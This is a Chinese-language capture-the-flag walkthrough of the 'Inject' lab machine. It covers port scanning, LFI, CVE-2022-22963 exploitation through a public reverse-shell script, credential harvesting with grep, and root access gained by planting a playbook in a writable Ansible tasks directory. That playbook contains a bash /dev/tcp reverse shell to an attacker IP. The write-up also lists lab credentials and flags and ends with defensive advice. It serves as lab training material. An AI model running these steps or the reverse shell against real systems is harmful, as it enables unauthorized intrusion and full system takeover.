[Meachines] [Easy] Inject LFI && Spring Cloud RCE+Ansible playbook权限提升
字数 1138 2025-08-29 08:30:30

教学文档:LFI与Spring Cloud RCE漏洞利用及Ansible playbook权限提升

1. 信息收集阶段

1.1 目标识别

  • 目标IP: 10.10.11.204
  • 开放端口:
    • TCP 22 (SSH)
    • TCP 8080 (Nagios NSCA/Web服务)

1.2 扫描技术

使用以下命令进行扫描:

ip='10.10.11.204'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
    nmap -Pn -sV -sC -p "$ports" "$ip";
  else
    echo -e "\e\e[31m[!] No open ports found on $ip.\e[0m";
  fi;
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi

1.3 服务枚举

使用feroxbuster进行目录扫描:

feroxbuster -u 'http://10.10.11.204:8080/'

2. 漏洞利用阶段

2.1 LFI (本地文件包含)漏洞

  • 目标URL: http://10.10.11.204:8080/upload
  • 利用方法: 通过文件包含漏洞读取敏感文件

2.2 Spring Cloud RCE (CVE-2022-22963)

  • 漏洞参考: https://www.cvedetails.com/cve/CVE-2022-22963/
  • 利用工具: https://github.com/J0ey17/CVE-2022-22963_Reverse-Shell-Exploit
  • 执行命令:
python3 exp.py -u 'http://10.10.11.204:8080'

2.3 凭证获取

在系统中搜索密码:

grep -iR password 2>/dev/null

发现凭证:

  • 用户名: phil
  • 密码: DocPhillovestoInject123

3. 权限提升阶段

3.1 初始访问

使用获取的SSH凭证登录:

ssh phil@10.10.11.204

3.2 用户权限确认

获取user flag:

94e7dcdca61b2d4d6d8256039e213074

3.3 监控系统进程

使用pspy64监控系统进程,发现Ansible playbook定期执行:

/usr/local/bin/ansible-parallel执行了/opt/automation/tasks/*.yml任务

3.4 Ansible playbook分析

发现playbook_1.yml内容:

- hosts: localhost
  tasks:
    - name: Checking webapp service
      service:
        name: webapp
        state: started
        enabled: yes

3.5 创建恶意playbook

在/opt/automation/tasks/目录下创建playbook_2.yml:

- hosts: localhost
  tasks:
    - name: Checking webapp service
      shell: bash -c 'bash -i >& /dev/tcp/10.10.16.28/443 0>&1'

3.6 获取root权限

等待Ansible执行恶意playbook后,获取root shell和flag:

5e375fdba1d1771e97cf1af837801f0e

4. 关键知识点总结

  1. LFI漏洞利用: 通过文件包含漏洞读取系统敏感文件获取关键信息

  2. Spring Cloud RCE (CVE-2022-22963):

    • 影响Spring Cloud Function版本3.2.2及之前版本
    • 通过特殊构造的HTTP请求头可执行任意命令
    • 公开的漏洞利用脚本可快速获取反向shell
  3. Ansible playbook权限提升:

    • 监控系统进程发现自动化任务执行
    • 利用可写目录注入恶意playbook
    • Ansible以root权限执行playbook的特性实现权限提升
  4. 防御建议:

    • 及时更新Spring Cloud Function到安全版本
    • 限制Ansible playbook目录的写入权限
    • 对自动化任务执行进行严格的审计和监控
    • 避免在playbook中使用直接shell命令
教学文档:LFI与Spring Cloud RCE漏洞利用及Ansible playbook权限提升 1. 信息收集阶段 1.1 目标识别 目标IP: 10.10.11.204 开放端口: TCP 22 (SSH) TCP 8080 (Nagios NSCA/Web服务) 1.2 扫描技术 使用以下命令进行扫描: 1.3 服务枚举 使用feroxbuster进行目录扫描: 2. 漏洞利用阶段 2.1 LFI (本地文件包含)漏洞 目标URL: http://10.10.11.204:8080/upload 利用方法: 通过文件包含漏洞读取敏感文件 2.2 Spring Cloud RCE (CVE-2022-22963) 漏洞参考: https://www.cvedetails.com/cve/CVE-2022-22963/ 利用工具: https://github.com/J0ey17/CVE-2022-22963_ Reverse-Shell-Exploit 执行命令: 2.3 凭证获取 在系统中搜索密码: 发现凭证: 用户名: phil 密码: DocPhillovestoInject123 3. 权限提升阶段 3.1 初始访问 使用获取的SSH凭证登录: 3.2 用户权限确认 获取user flag: 3.3 监控系统进程 使用pspy64监控系统进程,发现Ansible playbook定期执行: 3.4 Ansible playbook分析 发现playbook_ 1.yml内容: 3.5 创建恶意playbook 在/opt/automation/tasks/目录下创建playbook_ 2.yml: 3.6 获取root权限 等待Ansible执行恶意playbook后,获取root shell和flag: 4. 关键知识点总结 LFI漏洞利用 : 通过文件包含漏洞读取系统敏感文件获取关键信息 Spring Cloud RCE (CVE-2022-22963) : 影响Spring Cloud Function版本3.2.2及之前版本 通过特殊构造的HTTP请求头可执行任意命令 公开的漏洞利用脚本可快速获取反向shell Ansible playbook权限提升 : 监控系统进程发现自动化任务执行 利用可写目录注入恶意playbook Ansible以root权限执行playbook的特性实现权限提升 防御建议 : 及时更新Spring Cloud Function到安全版本 限制Ansible playbook目录的写入权限 对自动化任务执行进行严格的审计和监控 避免在playbook中使用直接shell命令